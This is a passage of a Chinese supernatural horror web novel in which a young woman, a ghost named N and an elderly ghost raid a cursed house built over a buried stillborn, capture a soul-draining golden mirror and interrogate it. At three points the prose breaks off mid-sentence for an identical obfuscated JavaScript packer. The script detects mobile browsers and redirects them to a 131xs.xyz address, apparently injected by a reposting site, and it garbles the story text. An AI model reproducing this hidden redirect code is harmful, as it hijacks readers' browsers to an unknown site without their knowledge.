“我就说一句,太具体的我也不知道。”刘茂盛左右望一眼,用低到几乎听不清的声音说:“N高考之前受伤了,很严重,能去法医中心鉴定等级的那种。” 涂蓝埙筷子上的面条滑落:“车祸?” 刘茂盛飞快用口型说:“被人打的……” 还没等涂蓝埙震惊完,N就从夜色中走回来,椅子自动向后一挪,幸好无人注意,他坐下,看向已经收拾好表情的涂蓝埙,说:“查到他们的货源位置了。但不太像真的。” 涂蓝埙瞥到他手套指背有血,正用一张白手帕擦拭,原来是别人的血。 N笑:“我和那个半张脸的鬼谈了谈。” 只是谈了谈吗? 半张脸鬼在被殴打一顿后,几乎痛失剩余的半张脸,他没法说话,用手指蘸着血,写下了N问题的答案,还有一串地址。 普洱乡桂花镇蜡梅街道一号。 涂蓝埙一下子直起身,头脑飞快旋转,一号他们经过过一次,是那间民宅似的灰色院子,里面还有蜡梅,当时完全没注意到它有问题。 N脸上有种冰冷的愉悦:“那位半张脸的朋友,承认自己是一号院子派过来的,专门监视,防止店里那个精神小伙搞小动作。” 涂蓝埙一点都不想问半张脸现在去哪了。 “那他说没说,一号院子售卖那些吸取魂魄的玩意,是为了什么?” N回答:“生死人,肉白骨。” 涂蓝埙:“啊?” 生死人肉白骨只是种比喻,但吸取过去的魂魄的确是补品,能让重伤重病的活人缓过劲来,也能让虚弱的鬼魂变得强大。 甚至还能催发残疾的肢体再度长出来,以及修复损毁的容貌,让衰老的人重新变年轻。 整件事其实是一种骗局式的献祭,那些纸扎品和物件被流通到各个人手里,抽取他们的魂体,最终全都流向同一处,成为别人的滋养。 吃人。 涂蓝埙快速扒了两口面条,N没有吃地摊的意思,慢悠悠拿一只便利店果酱面包啃食,她后知后觉,N可能只爱吃甜食。 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15377537|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步是去一号院子探一探。 那里只会比黑家冥祭百货更凶险。 # 黑家冥祭百货。 精神青年坐在柜台后打游戏,没开灯,店里那些纸人和金元宝他好像看不见,专心呐喊着:“走位,走位,扶我一下啊!” 黑暗中,有鬼魂悄然掠过店门口,带起一丝阴风,精神青年无知无觉。 倏然,手机有来电显示,青年利落放弃掉这局游戏,接起来,笑道:“李总,您终于回电了。” 那边不知道说了什么,青年不卑不亢地答应两声,视线掠过门口那一对纸人,其中一个被风吹过来,像是转身探头看店里,青年朝纸人打了个招呼,眼眸在黑暗中微微发亮。 “好嘞,您放心,我知道。”青年微笑,拉了拉满印logo上衣的领口,燃起一支烟,青烟袅袅上升,宛如焚香,他干脆道:“已经往那边去了,您叫人准备把。不过还有一件事得汇报给您。” 电话另一端说了句话,青年掸掉烟灰,以最后两句作结: “对面的队伍里有硬点子,不晓得是哪个,可能是那个女的,还有个老头和小白脸,都说不准。” “我没用,破脸折了,您再给派个牲鬼过来吧。” …… # 涂蓝埙一行人来到小院子附近时,已是月上中天。 街面没什么人了,路灯的光洒下来,只能照亮巴掌大一块地,整条蜡梅街道的花圈和纸人都阴白白的,惨然在夜风中哆嗦。 站在一号院子的背面,涂蓝埙握紧手中的单片眼镜,他们翻墙进去,N悄然来到灰瓦房旁边,往窗内看了眼:“挡帘子了,不过,屋里没人。” N说没人就是真没人,涂蓝埙放了些心,但黑暗中还是潜伏着无法言说的存在,让她神经嗡嗡作响,无法松懈警惕,只能像嗅到风吹草动的野生动物一样,茫然注视四周。 到底什么地方出了问题? 刘茂盛猫着身子:“要进去看看吗?他们可能腕上下班了,不在这住。” 说着,他就要伸出手去碰那窗玻璃。 他们站在原地一声都没出,就在刘茂盛的手摸上去之前,涂蓝埙和N同时说: “别去。” “不对。” 两人对视一眼,涂蓝埙先指了指面前的灰瓦房,他们是从侧面溜进来的,不太容易掌握灰瓦房的全貌,她示意大家往后退三步,说:“你们看这房子,像不像一张人脸?” 灰瓦房有两扇窗户,分别在门的左右,里头都拉着帘子。房檐上面怪异地塞了一排干稻草,暗红的门前正放着一只葫芦形的水缸,挡住门扉,水缸前沿略微侵入门楣下的空间。 院子两侧还各竖了五条木桩,长短不一排列。 这个道理就像看油画,有个合适的观赏距离才能瞧出门道,近看的话,很难把所有细节联系起来。 涂蓝埙小声:“它不光像一张人脸,还像一张婴儿的脸。” 不知道为什么,这种奇怪的想法钻进她的脑子,“房檐稻草是胎发,窗户是眼睛,门是嘴巴,门前那个葫芦形的水缸是奶嘴。两边的木桩是手。” 现在这个“婴儿”闭着眼睛嘴巴,正在安眠。 刘茂盛的表情越发惊愕,看涂蓝埙的眼神都不一样了。 刚才,他们差点破窗而入,那个位置是婴儿的眼睛。 那么开窗拉帘,算不算强行揭开婴儿的眼皮,让它能看见他们? “嘘,别惊醒它。”N用口型说:“否则……它会哭的……” 49. 49 他们绕着小灰屋转了圈,它就像婴儿的脑壳一样,严丝合缝,一点能钻进去的口子都没有。 N冷笑一声:“给我们准备好了的。” 涂蓝埙仍在观察,问:“没有办法能……给它打个安眠药?” N摇头:“有风险,他们这种法子很私人,说不准能骗过去,但也有概率直接惊醒了。” 三人正当踌躇之际,涂蓝埙忽然说:“要不咱们走吧。” 走?就此放弃了吗。 她的眼睛在黑夜中亮亮的,看了眼他俩,说:“咱们走了,他们不就来了么?我还不信他们不进这地方了。” 小灰屋里面摆明了有东西,否则也不会用上这么个看守的法子,她越来越好奇了。 N听闻,脸上浮起一丝极淡的笑,瞥过涂蓝埙,他心情比之前好多了,说:“心这么黑?不错,很不错。” N牵头要把戏做足,他原地闭眼站了一会,夜晚空气倏然变得冷潮,风骤起,隐隐有种要下雨的势头。 涂蓝埙记得N是死在雨里的,在下雨或水多的地方,他的力量会空前强大。 N拍了下手:“好,遮住了。” 可能是受N的影响,涂蓝埙忽然发觉院墙的一块砖被凿了个眼儿,里面埋着微型摄像头,那摄像头现在已经被厚重的水汽糊住。 果然是个陷阱。 N的身影瞬间消失在原地,几次闪现,院子里的杂草纷纷被拔出,但他搞了一圈破坏,偏偏放过那座小灰屋。最终,院内架翻绳断一片狼藉,连被踩扁的垃圾桶都吐了一地,N说:“走吧。” 涂蓝埙微微一笑,这样看上去,就像一号院子被彻底入侵了似的。但现在还差最后一步。 N站在院子中央,转向旁侧一面墙壁,稍稍一抬下巴,有股看不见的力道从他身上飞向院墙,它积木似的倒了半片,碎砖的声音在夜街十分明显。 “快快快。”刘茂盛往前小跑,涂蓝埙坠在后面,风从断墙口子灌进来,让人血液沸腾刺激的情绪。 跑出院墙的瞬间,N乍然回头,一道空气中凝结的水箭朝后射去,小灰屋的一扇窗玻璃应声而碎,内里白窗帘被风扬起,凛然翻卷着,好像人在眨眼。 “啪嚓啪嚓啪嚓——” 玻璃碎裂的声音比正常更脆也更响,竟然带起回声,霎时间小院中阴风怒号,无形中隐约传来一种鸣震,频率高得人耳难以捕捉。 涂蓝埙的脑子像被刺了一针,坠着双腿往前不要命地跑,完全没有趁着屋破回去看一眼的想法,因为那种高频率鸣震让人焦躁,太像婴儿凄厉的哭号了! 而且,有种浓郁的东西从破窗内溢出,很快灌满整个小院,涂蓝埙说不上那是什么,但直觉极端危险。 “是死气。”N回头淡漠一眼,微微皱眉,讥笑:“我明白了,这些人真是造孽。” 三人跑到另一条街才停步歇气,涂蓝埙捂着肚子,发现自己的体力连五十岁的刘茂盛都比不过,但对方是鬼这点弥补了她的自尊心。 她问出最好奇的问题:“如果我们贸然闯屋,会是什么后果?” “魂灭不了。”N轻描淡写地笑,随便靠在一棵树上,摘了片叶子,随着左手长指舞动,它很灵活地翻起连环跟头,“最多重伤一段时间,可能会有点精神障碍,你嘛,可能还得加上折寿这一条。” “折多少?” “剩多少折多少。” 涂蓝埙打了个寒战。 “那里是个风水局吗?流年方位凶煞那种。”她又问,努力搜刮着读书时摸鱼看算命小说的回忆。 N怪异地看了她一眼,回答:“你懂的还挺多,不过不是。” “那是什么?” N的脸色沉下来,眼神阴狠,很漠然地说:“那个院子地下,不,是小灰屋的地基下面,埋了个死胎。” 涂蓝埙大惊,使劲呼了两口气,旁边刘茂盛的表情也变得难看,“所以如果我们强闯,就会被死胎缠上?” N:“确切地说,是会承受被惊醒的长眠胎儿的怨怒,它不光会缠人,还会钻到肚子里让你把它生下来,无论人鬼或者性别。” “被缠上的人容易罹患精神障碍,无时无刻不听见让人发疯的婴儿哭声,然后变成流口水的傻子。” 涂蓝埙刚想说原来汤伟宁没有完全被骗,他需要的不正是这个么,听见精神障碍又闭了嘴,换成一句:“那生下来就没事了?” N冷嘲地看过来,“天真,生下来的难道会是个孩子吗?是人肉的乱序孳生物,学名也叫恶性肿瘤。” 生下来的那天,就是死期。 涂蓝埙不再说话了,她决定在心里夸夸自己,提出佯败跑路这个计划的人真是个天才! 刘茂盛也在一边竖大拇指:“小老板,你真聪明!” 有人捧场,涂蓝埙笑起来,也夸刘伯伯逃跑的身姿矫健,让年轻人甘拜下风,对方笑得褶子都出来了。另一边N站在街角听动静,没一会,转身打断他俩的商业互捧,“来了。” # 精神青年在店里等了半晌,忽然,一号院摄像头被人堵了,他不急反笑,那边上钩动手了。 只要动手,甭管来的是鬼是仙,一样都给他陷在里面。 他没敢开第二局游戏,打开电脑和人聊天,最近新认识的一个姐姐,相谈甚欢,让精神青年在晚秋时节嗅到春天的气息,忍不住发了许多秀表秀车钥匙的抬下巴眯眼死亡自拍给对方。 和姐姐聊得正热乎,精神青年忽然听见外头街上“夸嚓”一声,有点远,正是一号院方向传来的。 难不成是里头挣扎得太厉害,把屋子掀了? 他不想管也不敢管,那地头邪性得很,发起疯来连他都吞。随后一阵高频率的鬼哭声传来,很好,青年心中平安了些,继续等待。 等了十分钟。 哎,怎么光听鬼哭,没听鬼笑呢? 李总嘱咐过,那小灰屋碰不得惊不得,睁开眼必要吃人。它的特性是醒了就哭,吃到人就笑,像小孩似的。 怎么着,这次只醒了,竟然迟迟没把人吃到嘴?不会掉链子了吧。 要是让那几个来刺探的跑路了,小青年打了个哆嗦,李总非得把他一锅烩了。 思索再三,小青年掐了烟,往烟灰缸里狠狠一碾,猛地站起来,决定…… 先跟领导报个备。 电话打过去,响到最后几声才接,李总那边像是还在外面,已经从酒局玩到商k了,喧闹得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15382394|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很,一接起电话来酒意混着淡淡怒意,“又干什么?” 小青年飞快地说了下情况,并诚心希望领导命令他按兵不动,别瞎想八想。 李总炸了,酒意褪去七分,全换成怒意,“你没长腿吗?去看看啊,养你是吃干饭的?” “行行,这就去,我不想着多请示多汇报嘛。”小青年打了个哈哈,在心里骂娘,同时舌头泛着苦。说穿了,他和破脸有什么区别呢?不过是他活着,这身人皮还没丢,上面收拾起来多费点劲罢了。 呸。他无声地想,只要能爬到组织上层,早晚有一天让你们跪着喊爷爷。 小青年趿拉着鞋出了门,走过一段才左脚换右脚,将鞋帮提起来,免得待会跑动的时候甩出去。他没彻底放心,带了个纸扎件防身,正是那尊宝贵的纸仿铜猞猁。 遥遥望去,只见一号院子的墙倒了半边,小灰屋的一边眼睛“瞎了”,窗帘从破洞扎出来,像一道具象化的泪水,半条街都是死气沉沉的。 “猞猁爷爷,猞猁爷爷,您罩罩我。”小青年对着纸仿铜猞猁低声咬牙,“我回头给您的本体找个大补,您看行不。” 纸仿铜猞猁的眼睛在夜里闪了闪,一阵更阴冷的死气从纸模里透出来,缓缓笼罩小青年全身,让他能在小灰屋无差别攻击的死气中行动自如。 小青年头一个担心的不是小灰屋的损毁,更不是那帮窥探者的死活,而是灰屋里头放的最终杀器。是了,李总交待他不仅要设置灰屋,遇到强敌,还要灵活利用杀器,所以小青年把他“爷爷”放里了。 那个爷爷是和猞猁爷爷平级的家伙,他一般尊称一声“镜子爷爷”。 小青年心里直嘀咕,他其实和老猞猁的交情更深一点,但猞猁的本体经常不在店里,只能把那块油滑难测的镜子放进去镇山。 这其实怪镜子太容易仿制了,没技术含量,仿了几回,来的顾客有一个算一个都问:“这是个什么东西”,更没人买,要买金箔贴的纸扎品,买点金猪金龙椅金元宝船不好么,谁要扁平平一块镜子,不知道的以为哪个一屁股坐上面了呢。 小青年走入小院,这里果真凌乱不堪,经历了一场生死厮杀,小灰屋散发着浓浓的死气,表示地底下那个邪性玩意的心情非常不好。 他蹑手蹑脚站到小灰屋前,回忆李总教他的办法,先撬开院落边角的一块石头,用尖角割开手腕,沾血的石头被扔进灰屋门口的葫芦形水缸,代表饲喂进嘴。 紧接着,他踮脚伸手,来回抚弄房檐垂下来的几根稻草,嘴里哼一支没词的小调,像在哄孩子睡觉。 没过一会,水缸里的石头开始震动,并原地旋转起来,小青年面上一喜,成了。 刚挪开水缸,抱着纸猞猁要进去,小青年的步子滞在门槛,里面镇山的“镜子爷爷”还在那,放得好着呢! 情况不对。 那些人根本没进去过! 现在他这是,中计反成给人领路的了? 冷汗从小青年脊背滑下来。 这时,他身后传来一声冷淡的讥笑,浑身骤然动弹不得,一张俊秀的脸从侧面俯视过来,桃花眼碎裂,但竟比破脸更恐怖几分。 那男鬼笑道:“东西不错,谢谢你帮我们开门。” 50. 50 精神青年全身僵直,知道这次遇到了硬茬,一丝都不敢动,眼光悄悄落在怀抱的纸仿铜猞猁上,祈求猞猁爷爷再救他一次。 可惜,猞猁爷爷好像不在线了。 他被从后面套了一只黑塑料袋,涂蓝埙很贴心地留了个呼吸口,将袋子系在青年颈后,刘茂盛负责押着他。 N向屋内走去,小灰屋里面果然是个作坊,裱纸、竹签、糨糊,还有粉末状的颜料,有些纸品是特制的,肖似翡翠和宝石,金箔和金胶浆被另放在一只玻璃匣子里。 比金箔更耀眼的是一坨纯金,久违的黄金镜子正悬浮着,如一只慌乱的鸟,试图从窗户破口钻出去,被N一把掐住。 就是龙凤世家丢失的那一只。 N攥着镜子轻轻一掐,黄金镜面出现几个凹坑指印,它尖叫起来:“别杀我!别杀我!” 听见镜子爷爷尖叫,被黑袋子蒙住的精神青年抖得更厉害了。 涂蓝埙在屋里巡视一圈,找到半片还未粘贴成型的纸模,是纸仿铜猞猁的复制品,那个精神青年一开始就在说谎。 他们带着挣扎的人和这里的东西回到宾馆,夜班前台对一行人的归来视若无睹,迷迷糊糊如同睁眼做梦,又是N干的。 一关上宾馆房间门,精神青年就被捆在水管上,塞住嘴巴耳朵,他被堵嘴之前说了句:“让我给我家人回个话,我来之前打招呼了,不回话他们会起疑的。” N笑了声,用一种很轻柔的声线说:“夜太晚,你们李总应该玩嗨了,别打扰他。” 精神青年腿都软了,被刘茂盛堵住嘴,再说不出半句话。 N本来打算把黄金镜子扔在其中一张床上,半途可能嫌它脏,转手往地上一丢,又磕碰出一道凹痕。刘茂盛扑过去,用鞋尖踩住镜子一角,逼问道:“杨大志呢?你把他怎么样了?” 黄金镜子倒映着宾馆房间,无一丝波澜,好像就是普通的镜子似的。 还装。 N原地单膝蹲跪,手中凭空出现一根细针,像那种中医常用的软针,可就是那软针直接扎进金镜正中央,一滴血渗出来,镜子惨叫不止。 金色中浮现一张人脸,因疼痛扭曲,朝外瞥:“我错了!我错了!放过我吧!” N说:“哟,是你。怎么,这次不骗人了?” 屋里同时有两个人汗流浃背了,一个是黄金镜子,一个是涂蓝埙。之前金镜想骗涂蓝埙的事,N全都知道。 黄金镜子里的男鬼缩着脖子,连话都说不利索:“我什么都说……您别这样,真的会死的……” 他说得没错,金镜往外一滴接一滴渗血,连表面金光都黯淡了,N讥笑道:“被人装进这里,我看你是大不如前了,吸走的那些灵体他们就没给你留点?” 黄金镜子虚弱求饶:“我能跟您比嘛,我就是个小家伙。您把我放出来,我马上交出祭品。” 涂蓝埙眯着眼睛,不知道为什么,黄金镜子表面不断涌过异色,让人产生一种介于愉悦和急躁之间的情绪,那金光真艳,真漂亮,像一场即将变为真实的美梦…… 唉,这宾馆可太简陋了,床硬硬的,地毯糙糙的,连浴室瓷砖都泛着黄。 如果能有很多钱就好了。 涂蓝埙的眼睛黏在镜子上,仿佛卖火柴的小女孩看见温暖的壁炉,她想,这个镜子很神奇,假如她悄悄带走它,它一定会帮她暴富逆袭,舒舒服服得到金子,金子,更多的金子…… “是呀,带走我吧,等他们没注意的时候,你拿上我就跑……”金镜诱惑的声音拂过涂蓝埙耳畔。 她连忙问:“我找东西你能帮忙吗?” 金镜暗中在她脑海里:“当然可以。你想找什么?” “没想好……但你想找什么我知道。” 金镜继续传音:“什么?” “找死呗。”涂蓝埙学着N冷笑一声。 这句话是从口中而非大脑说出来的。 涂蓝埙终于忍不住笑出了声,眼神瞬间不再茫然,她捶了捶胸口,咳嗽了两下,金镜的颜色都快绿了。 她直起腰:“你还挺坚韧不拔啊,还有信息蛊惑别人。” 金镜被戏耍得团团转,此刻半怒半惊,那张脸浮现在镜面中,大叫道:“人!鬼讨厌你这样可恶的人!” 涂蓝埙没有耐心了,直接将它捡起来,拿了宾馆房间床头的打火机,说:“听说真金不怕火炼,让我试试,你这块金子好像不纯啊。” 火苗跃然腾起,金镜的下端被炙烤着,这点温度暂时没办法奈何它,但里面的人影跳得比火苗还宽。 如果能挺过今晚,它会长一个记性,那就是眼前的女生虽然不是鬼,但心也不是白的,看着温温和和,其实想有多恶劣就有多恶劣。 涂蓝埙想的则是,真耽误时间,她还有两份委托要做呢。 她看了眼旁边静默无声的N和刘茂盛,说:“那个活人最好别看见我,你来审他吧,我和刘伯伯去卫生间审镜子,供词拿出来两边对照,对不上就收拾他们。” 那两鬼没想到涂蓝埙会说这样的话,N笑了下,说:“怎么这么着急?” 涂蓝埙愤然:“当然着急了,多出来一天多花一天住宿钱,而且早收工早结款,效率懂不懂?” 说着,她抓着金镜子朝卫生间走去,那根针还没拔出来,镜子就像被钉在房梁上的林蛙,刘茂盛连忙跟了上去。 涂蓝埙还一边走一边威胁镜子,说:“听见没有,你最好老实交代,那边是活人,把他弄坏了不好收场,你可不受法律保护。” 镜子鬼缩在里面,给了涂蓝埙一个恐惧又怨恨的眼神。 # 进度比他们想得更快,一小时后,黑家冥祭的这俩货全都招了。 普洱乡桂花镇的黑家冥祭百货的确是开来害人的,看似卖祭品给客户,其实客户本人才是真正的祭品。 但精神青年矢口否认,他完全不知道网络鬼店黑森林高端百货,只负责运营这家纸扎店,顶头上司被称为李总。 据说那个李总手下还管着好多人,开公司,是个蛮大的“领导”,并不只负责黑家冥祭百货这摊子事。 黄金镜子承认的要多一点,得益于涂蓝埙威胁把它放在马桶里反复冲水,黄金镜子吐露它对“黑家”和“黑森林”都知晓一些。 黑森林和黑家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387226|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕后老板是一个,或者关系极为密切,这是黄金镜子的猜测,它也知道李总,但把它投放到黑家的不是李总,而是另一个绰号叫“牵牛”的人。 当涂蓝埙再次猥亵要在它头顶钻个孔,把马桶水灌进去的时候,黄金镜子嗷嗷大叫,说:“我不知道,我也是受害者,是他们定期把我们三个撒出去害人!” 黄金镜子被卖入龙凤世家金店也是任务的一环,它的效用是放大人内心的欲求。这一趟先被诱惑的是张小槐,这小子贪钱但不好色,可麻烦就麻烦在他家钱太多了,对物质的阈值很高,黄金镜子忙活半天也没什么效果,反而让张小槐工作更加勤勉——家世使然,他是那种只要工作就能有千百倍回报的幸运儿。 最终,黄金镜子在被张小槐投入金店的前一晚,给他种下了一个心理暗示:自由。 张小槐玩黄金玩古董,世俗意义上拥有很多东西,但他偏偏没彻底尝过“自由”的刺激感。 在这之后,张小槐飘了,放下工作到国外休假,瞒着家人尝试各种各样的危险运动。偏偏这人运气虽然坏了,但命硬得让镜子生气,跳伞遇到气流旋转,滑雪板子卡进石缝,野外皮划艇撞上鳄鱼,全都化险为夷。 直到潜水那次,张小槐终于扛不过心理暗示,没有提前检查装备,差点成了当地打捞队的业绩,醒来就成了精神病人。 “他的灵体被吸走了一点点……”黄金镜子说:“但不在我这啊,收集到的灵体会被传输走,我们仨主要起到一个总管道的作用。” 涂蓝埙:“仨?” 黄金镜子:“一个是我,一个是铜猞猁外面有它的分身纸模,还有一个叫人肉果,不常回店里。我没接触过,猞猁说他见过人肉果。” “灵体多久一传,传哪去了?” 黄金镜子答:“我不知道。” 涂蓝埙利落拿起它,打开马桶盖子,眼看就要松手,黄金镜子放声惨叫。 “啊啊啊!我真不知道在哪,牵牛不定期派人来抽一次!”黄金镜子用堪比民族女高音的调值长啸,吓得快要唱出来了。 “上次是什么时候?” “昨天!昨天!在你们来之前!” 如果黄金镜子说的是真的,那么杨大志和张小槐的魂体已经被带走了。 他们将变成不知给谁的灵药,生死人,肉白骨。 事关重大,涂蓝埙让刘茂盛出卫生间和N对一下答案。 这里只剩她和镜子两“人”,她猛按冲水键,巨大的声响遮盖下,涂蓝埙用气声逼问镜子:“你有三秒钟时间回答,你认识N?怎么认识的?你原来也是人吧,叫什么,为什么变成鬼?” 黄金镜子愣住,涂蓝埙恶狠狠盯住它,冲了第二遍水,它终于回答: “认识,在医院认识的,我原来也是人。” 涂蓝埙听见刘茂盛回来的脚步声,第三次按下冲水键,水箱发出虚弱的声音,“名字和医院?你没回答全部问题!” 黄金镜子说:“我叫姜睿,医院的名字说了你也不知道,叫青鸟都会医院。” 它变得咬牙切齿:“我变成鬼的原因……当然要感谢N的大恩大德啊!”